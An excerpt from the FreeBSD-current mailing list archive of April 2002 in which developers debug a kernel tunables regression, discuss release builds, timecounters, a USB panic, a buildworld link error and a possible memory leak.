Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Baldwin writes: > Please back out revision 1.3 of src/etc/pam.d/xdm since it breaks xdm. > xdm core dumps with a signal 6 if there is no session management > configured for it in PAM. Obviously this commmit wasn't actually tested > with xdm (at least not on X 4). Yes, it was. Please show me the output of 'ldd /usr/X11R6/bin/xdm'. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 4: 4:37 2002 Delivered-To: freebsd-current@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id ED89037B416 for ; Sat, 27 Apr 2002 04:04:32 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1920) id C43BAAE1D1; Sat, 27 Apr 2002 04:04:32 -0700 (PDT) Date: Sat, 27 Apr 2002 04:04:32 -0700 From: Maxime Henrion To: current@FreeBSD.org Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading tunables Message-ID: <20020427110432.GA63621@elvis.mu.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="a8Wt8u1KmwUX3Y2C" Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, I think I may have found the bug. Could someone test the attached patch and report if it fixes the problem or not ? Thanks in advance, Maxime --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="hints.diff" Index: subr_hints.c =================================================================== RCS file: /space2/ncvs/src/sys/kern/subr_hints.c,v retrieving revision 1.4 diff -u -p -r1.4 subr_hints.c --- subr_hints.c 17 Apr 2002 13:06:36 -0000 1.4 +++ subr_hints.c 27 Apr 2002 10:42:04 -0000 @@ -150,9 +150,11 @@ res_find(int *line, int *startln, break; if (use_kenv) cp = kenvp[++i]; - while (*cp != '\0') + else { + while (*cp != '\0') + cp++; cp++; - cp++; + } if (*cp == '\0') { cp = NULL; break; --a8Wt8u1KmwUX3Y2C-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 5:12:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id DA3A537B400 for ; Sat, 27 Apr 2002 05:12:06 -0700 (PDT) Received: from hades.hell.gr (patr530-b148.otenet.gr [212.205.244.156]) by mailsrv.otenet.gr (8.12.2/8.12.2) with ESMTP id g3RCBqe5013350; Sat, 27 Apr 2002 15:11:53 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.3/8.12.3) with ESMTP id g3RCBpYW000555; Sat, 27 Apr 2002 15:11:51 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.3/8.12.2/Submit) id g3RCBm6V000552; Sat, 27 Apr 2002 15:11:48 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 27 Apr 2002 15:11:37 +0300 From: Giorgos Keramidas To: Poul-Henning Kamp Cc: current@FreeBSD.org Subject: Re: cvs commit: src/sys/kern kern_tc.c src/sys/sys timepps.h timetc.h Message-ID: <20020427121137.GB355@hades.hell.gr> References: <200204262151.g3QLp8m26766@freefall.freebsd.org> <55629.1019857953@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <55629.1019857953@critter.freebsd.dk> User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2002-04-26 23:52, Poul-Henning Kamp wrote: > >phk 2002/04/26 14:51:08 PDT > > > > Modified files: > > sys/kern kern_tc.c > > sys/sys timepps.h timetc.h > > Log: > > Now that the private parts of timecounters are no longer being fingered > > by other bits of code, split struct timecounter into two. > > Please let me know if you see any changes in timekeeping behaviour > as a result of this series of commits. Given the fact that I'm running xntpd and it syncs the clock with a known good source while online, is it possible that any problems might get `hidden' by xntpd resetting the clock before it runs too different from a correct value? That is, should I disable ntpd for a while? Giorgos Keramidas FreeBSD Documentation Project keramida@{freebsd.org,ceid.upatras.gr} http://www.FreeBSD.org/docproj/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 7:13: 6 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 62A1937B400; Sat, 27 Apr 2002 07:12:49 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3RECck40713; Sat, 27 Apr 2002 17:12:38 +0300 (EEST) (envelope-from ru) Date: Sat, 27 Apr 2002 17:12:38 +0300 From: Ruslan Ermilov To: Marcel Moolenaar Cc: current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020427141238.GB35685@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> <20020426185921.GA282@athlon.pn.xcllnt.net> <20020426191214.GA50337@sunbay.com> <20020426204451.GA1674@athlon.pn.xcllnt.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="z6Eq5LdranGa6ru8" Content-Disposition: inline In-Reply-To: <20020426204451.GA1674@athlon.pn.xcllnt.net> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --z6Eq5LdranGa6ru8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 01:44:51PM -0700, Marcel Moolenaar wrote: > On Fri, Apr 26, 2002 at 10:12:14PM +0300, Ruslan Ermilov wrote: > > On Fri, Apr 26, 2002 at 11:59:21AM -0700, Marcel Moolenaar wrote: > > > On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: > > >=20 > > > > I.e., if you built world a month ago, and didn't touch /usr/src > > > > since, and /usr/obj has "buildworld" output for this /usr/src, > > > > and you have booted with this world, it should be okay to start > > > > building today's release. > > >=20 > > > I share my src tree, so I almost always have a /usr/src that's not > > > in sync with the /usr/obj for and on a particular machine. > > >=20 > > > What goes wrong if /usr/src and /usr/obj are out of sync? > > >=20 > > The prerequisite for a successful "make release" is to "installworld" > > first the same world as you are currently running. This is done to > > create a pristine environment (with an empty /etc/make.conf, etc.) > > which is then chroot'ed into. >=20 > I see. Doing a "make everything TARGET_ARCH=3Dfoo -DNOCLEAN" should > probably be enough in most cases to sync the object tree, right? >=20 If libraries, kernel, compiler, and headers didn't change, then yes. :-) Otherwise, "make world kernel" and reboot is necessary. So that the subsequent "installworld" of the same world into the chroot'ed environment will give you a _compatible_ (with the currently running kernel) world. > > Also, when I wrote "/usr/src" and "/usr/obj" I didn't mean them > > literally. >=20 > That's mostly academic :-) >=20 > BTW: Do you have plans to remove the exception for non-cross builds > to have the object tree rooted under /usr/obj/$TARGET_ARCH? > The exception was created for make release, but from a pure > cross-building point of view it's inconsistent and is one of > the blockers to build, say, alpha on i386 and doing a native > install on alpha (the other would be having an empty temproot). >=20 Yes, I was planning to do it anyway, for the same reason. You know, it's a matter of removing three lines from Makefile.inc1. :-) It does not of course prevent you from building alpha on i386 and then installing on alpha, all that needs to be done on alpha is: /usr/bin/env MAKEOBJIRPREFIX=3D/usr/obj/alpha installworld Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --z6Eq5LdranGa6ru8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yrHWUkv4P6juNwoRAvIQAJ4w9Ikx009+uSRiCOnJXRitH7IrRQCfSDZM llqiBeqIOI0yO6uebj8BJCs= =qvrL -----END PGP SIGNATURE----- --z6Eq5LdranGa6ru8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 7:15:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id CF82E37B419; Sat, 27 Apr 2002 07:15:10 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3REEfB40859; Sat, 27 Apr 2002 17:14:41 +0300 (EEST) (envelope-from ru) Date: Sat, 27 Apr 2002 17:14:41 +0300 From: Ruslan Ermilov To: Darren Reed Cc: Doug Barton , current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: ipfilter not broken for me Message-ID: <20020427141441.GC35685@sunbay.com> References: <20020426134230.D77133-100000@zoot.corp.yahoo.com> <200204270601.QAA12114@avalon.reed.wattle.id.au> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="L6iaP+gRLNZHKoI4" Content-Disposition: inline In-Reply-To: <200204270601.QAA12114@avalon.reed.wattle.id.au> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --L6iaP+gRLNZHKoI4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Apr 27, 2002 at 04:01:28PM +1000, Darren Reed wrote: > In some email I received from Doug Barton, sie wrote: > > On Fri, 26 Apr 2002, Ruslan Ermilov wrote: > >=20 > > > I tested this on i386 only with 2 days old -CURRENT (today's is > > > broken due to the import of latest IPFilter suite) > >=20 > > I updated to the latest and greatest last night around midnight > > and built/installed -current just fine. What about the ipfilter import = is > > broken, and have you let Darren know? I haven't seen anything on the li= sts > > about it... >=20 > I have not received any email about it. I tested building all the ipfilt= er > binaries and kernel after the import and came up clean. if ref5 was a bit > quicker.... >=20 That was probably a local problem on one of the Brian's fast machines where I initially attempted to finally test my patch (unsynched cvsup update?). Sorry for the false alarm, I can't check it right now anyway. Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --L6iaP+gRLNZHKoI4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yrJRUkv4P6juNwoRAmPHAJ4gc82qFOODMU4L29kNh1XFFgUd3QCeN+AV lJT3ubJKGa6btx3HI3dKPCI= =rh1M -----END PGP SIGNATURE----- --L6iaP+gRLNZHKoI4-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 7:45: 7 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id D2B2437B44B; Sat, 27 Apr 2002 07:44:01 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3REhep42946; Sat, 27 Apr 2002 17:43:40 +0300 (EEST) (envelope-from ru) Date: Sat, 27 Apr 2002 17:43:40 +0300 From: Ruslan Ermilov To: "M. Warner Losh" Cc: jhb@FreeBSD.ORG, shizukakudo_99@yahoo.com, freebsd-current@FreeBSD.ORG Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading t Message-ID: <20020427144340.GI35685@sunbay.com> References: <20020427034333.59636.qmail@web11408.mail.yahoo.com> <20020427.010300.59345292.imp@village.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="J+eNKFoVC4T1DV3f" Content-Disposition: inline In-Reply-To: <20020427.010300.59345292.imp@village.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --J+eNKFoVC4T1DV3f Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Apr 27, 2002 at 01:03:00AM -0600, M. Warner Losh wrote: > In message: > John Baldwin writes: > :=20 > : On 27-Apr-2002 Shizuka Kudo wrote: > : > It seems the latest commit of > : > sys/kern/kern_environment to current broke the reading > : > of system tunables set by loader.conf. This is true at > : > least for hw.cbb.start_mem of my cardbus bridge. With > : > this latest commit, the hw.cbb.start_mem sysctl still > : > shows the default value after boot up. > : >=20 > : > Reverting back to version 1.22 solve my problem. Is > : > this unique to me? > :=20 > : No, it seems to be broken for all environment variables > : on alpha. >=20 > It is busted for me as well. I had some not too nice words to say > when I discovered that :-( >=20 This does not have any relation to my src/release/Makefile commit, does it? (I'm asking because you referred one of the messages in that thread.) Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --J+eNKFoVC4T1DV3f Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yrkcUkv4P6juNwoRAqnbAKCD2l7smp1hDhBXui8KT7yqBd0wpACdE4v6 u9DxQ2Hjs7h8EzKj/D8CIw4= =yKgn -----END PGP SIGNATURE----- --J+eNKFoVC4T1DV3f-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 8:57:46 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 2B67337B41D; Sat, 27 Apr 2002 08:57:42 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3RFvbH05162; Sat, 27 Apr 2002 09:57:37 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3RFvZb61321; Sat, 27 Apr 2002 09:57:36 -0600 (MDT) (envelope-from imp@village.org) Date: Sat, 27 Apr 2002 09:57:09 -0600 (MDT) Message-Id: <20020427.095709.39158889.imp@village.org> To: ru@FreeBSD.ORG Cc: jhb@FreeBSD.ORG, shizukakudo_99@yahoo.com, freebsd-current@FreeBSD.ORG Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading t From: "M. Warner Losh" In-Reply-To: <20020427144340.GI35685@sunbay.com> References: <20020427.010300.59345292.imp@village.org> <20020427144340.GI35685@sunbay.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020427144340.GI35685@sunbay.com> Ruslan Ermilov writes: : On Sat, Apr 27, 2002 at 01:03:00AM -0600, M. Warner Losh wrote: : > In message: : > John Baldwin writes: : > : : > : On 27-Apr-2002 Shizuka Kudo wrote: : > : > It seems the latest commit of : > : > sys/kern/kern_environment to current broke the reading : > : > of system tunables set by loader.conf. This is true at : > : > least for hw.cbb.start_mem of my cardbus bridge. With : > : > this latest commit, the hw.cbb.start_mem sysctl still : > : > shows the default value after boot up. : > : > : > : > Reverting back to version 1.22 solve my problem. Is : > : > this unique to me? : > : : > : No, it seems to be broken for all environment variables : > : on alpha. : > : > It is busted for me as well. I had some not too nice words to say : > when I discovered that :-( : > : This does not have any relation to my src/release/Makefile : commit, does it? (I'm asking because you referred one of : the messages in that thread.) I don't think so, because I'm building kernels in the "old-school" way of config + make. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 10:13:38 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 6E9F637B41F for ; Sat, 27 Apr 2002 10:13:32 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id DAA05648; Sun, 28 Apr 2002 03:13:28 +1000 Date: Sun, 28 Apr 2002 03:14:40 +1000 (EST) From: Bruce Evans X-X-Sender: bde@gamplex.bde.org To: Shizuka Kudo Cc: freebsd-current@FreeBSD.ORG Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading tunables In-Reply-To: <20020427034333.59636.qmail@web11408.mail.yahoo.com> Message-ID: <20020428030240.E735-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 26 Apr 2002, Shizuka Kudo wrote: > It seems the latest commit of > sys/kern/kern_environment to current broke the reading > of system tunables set by loader.conf. This is true at > least for hw.cbb.start_mem of my cardbus bridge. With > this latest commit, the hw.cbb.start_mem sysctl still > shows the default value after boot up. > > Reverting back to version 1.22 solve my problem. Is > this unique to me? The tunable for this sysctl spelled inconsistently as "hw.cbb.start_memory", so rev.1.23 "fixed" finding it if it is misspelled in the environment as "hw.cbb.start_mem". From dev/pccbb/pccbb.c: /* There's no way to say TUNEABLE_LONG to get the right types */ u_long pccbb_start_mem = PCCBB_START_MEM; TUNABLE_INT("hw.cbb.start_memory", (int *)&pccbb_start_mem); SYSCTL_ULONG(_hw_cbb, OID_AUTO, start_mem, CTLFLAG_RD, &pccbb_start_mem, PCCBB_START_MEM, "Starting address for memory allocations"); Does changing the spelling in the environment to match the tunable fix the problem? Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 10:20:39 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id E552237B41C; Sat, 27 Apr 2002 10:20:32 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id DAA05931; Sun, 28 Apr 2002 03:20:31 +1000 Date: Sun, 28 Apr 2002 03:21:43 +1000 (EST) From: Bruce Evans X-X-Sender: bde@gamplex.bde.org To: Maxime Henrion Cc: current@FreeBSD.ORG Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading tunables In-Reply-To: <20020427110432.GA63621@elvis.mu.org> Message-ID: <20020428031711.H735-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 27 Apr 2002, Maxime Henrion wrote: > I think I may have found the bug. Could someone test the attached patch > and report if it fixes the problem or not ? I hope the problem with rev.1.22 is just spelling inconsistencies in dev/pccbb/pccbb.c and the user's configuration ("hw.cbb.start_mem" in the environment used to match the tunable "hw.cbb.start_memory", but rev.1.22 fixed this). PR 37443 is about the same bug as your patch. It has a slightly larger patch (involving moving the (*cp == '\0') clause into the new else clause). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 10:29:23 2002 Delivered-To: freebsd-current@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id 8F8D037B41B; Sat, 27 Apr 2002 10:29:19 -0700 (PDT) Received: by tao.org.uk (Postfix, from userid 100) id 9089B5AF; Sat, 27 Apr 2002 18:29:13 +0100 (BST) Date: Sat, 27 Apr 2002 18:29:13 +0100 From: Josef Karthauser To: Peter Wemm Cc: Alexander Leidinger , current@FreeBSD.ORG, joe@FreeBSD.ORG Subject: Re: panic at shutdown, ums related? Message-ID: <20020427172913.GA3146@genius.tao.org.uk> Mail-Followup-To: Josef Karthauser , Peter Wemm , Alexander Leidinger , current@FreeBSD.ORG, joe@FreeBSD.ORG References: <200204241723.g3OHNLEi000541@Magelan.Leidinger.net> <20020424235332.2728138FD@overcee.wemm.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="6c2NcOVqGQ03X4Wi" Content-Disposition: inline In-Reply-To: <20020424235332.2728138FD@overcee.wemm.org> User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --6c2NcOVqGQ03X4Wi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 24, 2002 at 04:53:32PM -0700, Peter Wemm wrote: >=20 > USB is pretty hosed. :-( >=20 > For a while, removing the mouse didn't get detected and you had to kill m= oused > manually. Then the removal event happened. A new moused would start but= it > was impossible to kill -9 the old moused. If you remove the mouse again,= it > instantly panics the box. I've not seen what is happening as I've always= been > in X at the time. :-/ >=20 Is that still happening? I've got a usoft usb mouse here, and it works fine for me, pluggin or unplugging - no problems. There do however appear to be hub problems - if a hub gets unplugged the usb bus code loops and doesn't register that it's gone. I'm using uhci though, are you, or are you using ohci? Joe --6c2NcOVqGQ03X4Wi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjzK3+kACgkQXVIcjOaxUBapawCeNkQuo7p9PED67dikaGR+Wqrt qIgAnibul1Q2JiBiiN1ZrmP0cgz/oL4W =lDRN -----END PGP SIGNATURE----- --6c2NcOVqGQ03X4Wi-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 11:26:50 2002 Delivered-To: freebsd-current@freebsd.org Received: from web11406.mail.yahoo.com (web11406.mail.yahoo.com [216.136.131.236]) by hub.freebsd.org (Postfix) with SMTP id 5511137B419 for ; Sat, 27 Apr 2002 11:26:46 -0700 (PDT) Message-ID: <20020427182646.66326.qmail@web11406.mail.yahoo.com> Received: from [203.218.114.193] by web11406.mail.yahoo.com via HTTP; Sat, 27 Apr 2002 11:26:46 PDT Date: Sat, 27 Apr 2002 11:26:46 -0700 (PDT) From: Shizuka Kudo Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading tunables To: freebsd-current@FreeBSD.ORG In-Reply-To: <20020428030240.E735-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --- Bruce Evans wrote: > On Fri, 26 Apr 2002, Shizuka Kudo wrote: > > > It seems the latest commit of > > sys/kern/kern_environment to current broke the > reading > > of system tunables set by loader.conf. This is > true at > > least for hw.cbb.start_mem of my cardbus bridge. > With > > this latest commit, the hw.cbb.start_mem sysctl > still > > shows the default value after boot up. > > > > Reverting back to version 1.22 solve my problem. > Is > > this unique to me? > > The tunable for this sysctl spelled inconsistently > as > "hw.cbb.start_memory", so rev.1.23 "fixed" finding > it if it is > misspelled in the environment as "hw.cbb.start_mem". > From > dev/pccbb/pccbb.c: > > /* There's no way to say TUNEABLE_LONG to get the > right types */ > u_long pccbb_start_mem = PCCBB_START_MEM; > TUNABLE_INT("hw.cbb.start_memory", (int > *)&pccbb_start_mem); > SYSCTL_ULONG(_hw_cbb, OID_AUTO, start_mem, > CTLFLAG_RD, > &pccbb_start_mem, PCCBB_START_MEM, > "Starting address for memory allocations"); > > Does changing the spelling in the environment to > match the tunable > fix the problem? > > Bruce > This is the problem for me. I overlooked and should have checked it first. Thanks __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 12:54:48 2002 Delivered-To: freebsd-current@freebsd.org Received: from postfix2-2.free.fr (postfix2-2.free.fr [213.228.0.140]) by hub.freebsd.org (Postfix) with ESMTP id AEE4A37B400 for ; Sat, 27 Apr 2002 12:54:45 -0700 (PDT) Received: from titine.fr.eu.org (toulouse-2-a7-62-147-37-26.dial.proxad.net [62.147.37.26]) by postfix2-2.free.fr (Postfix) with ESMTP id 05E225FB72 for ; Sat, 27 Apr 2002 21:54:44 +0200 (CEST) Received: by titine.fr.eu.org (Postfix, from userid 1000) id DCBF81B212; Sat, 27 Apr 2002 21:52:00 +0200 (CEST) X-Attribution: Jaco To: current@freebsd.org Subject: Builworld fails on libssh.so while building sftp-server From: Eric Jacoboni Date: 27 Apr 2002 21:52:00 +0200 In-Reply-To: <20020427172913.GA3146@genius.tao.org.uk> Message-ID: <87u1pwrkbj.fsf_-_@titine.fr.eu.org> Lines: 24 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I'm running 5.0-Current (Apr 10, 2002) but i'm unable to update it on my i386 box: ==> secure/libexec/sftp-server cc -O -pipe -march=pentiumpro -DNO_IDEA -o sftp-server sftp-server.o sftp-common.o -lssh -lcrypto /usr/obj/usr/src/i386/usr/lib/libssh.so: undefined reference to `fatal' *** Error Code 1 Thinking i have cvsup between two updates, i have tried several day to update my src tree with cvsup, but without success... Before the build, i've nuked my /usr/obj directory and do a 'make clean cleandir' I think this problem is related to my own /usr/src tree as i don't see any other messages about such a pb in -Current. As i update with cvsup, i don't know where this problem could come from. Any clue? -- Éric Jacoboni, né il y a 1323380374 secondes To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 13:28:56 2002 Delivered-To: freebsd-current@freebsd.org Received: from w250.z064001178.sjc-ca.dsl.cnc.net (adsl-66.218.45.239.dslextreme.com [66.218.45.239]) by hub.freebsd.org (Postfix) with SMTP id AC19D37B404 for ; Sat, 27 Apr 2002 13:28:45 -0700 (PDT) Received: (qmail 982 invoked by uid 1000); 27 Apr 2002 20:29:01 -0000 Date: Sat, 27 Apr 2002 13:28:39 -0701 From: Jos Backus To: freebsd-current@freebsd.org Subject: -current leaking? Message-ID: <20020427202901.GA375@lizzy.catnook.com> Reply-To: jos@catnook.com Mail-Followup-To: freebsd-current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Since rebooting yesterday I am seeing active memory in top increasing steadily over the course of around 20 minutes (without running X), eventually leading to things like Apr 27 11:05:24 lizzy kernel: swap_pager_getswapspace: failed Apr 27 11:05:24 lizzy kernel: pid 6626 (ld), uid 0, was killed: out of swap space Apr 27 11:06:56 lizzy kernel: swap_pager: out of swap space Apr 27 11:06:56 lizzy kernel: swap_pager_getswapspace: failed As I type this, Active is increasing at a rate of 1MB/second. last 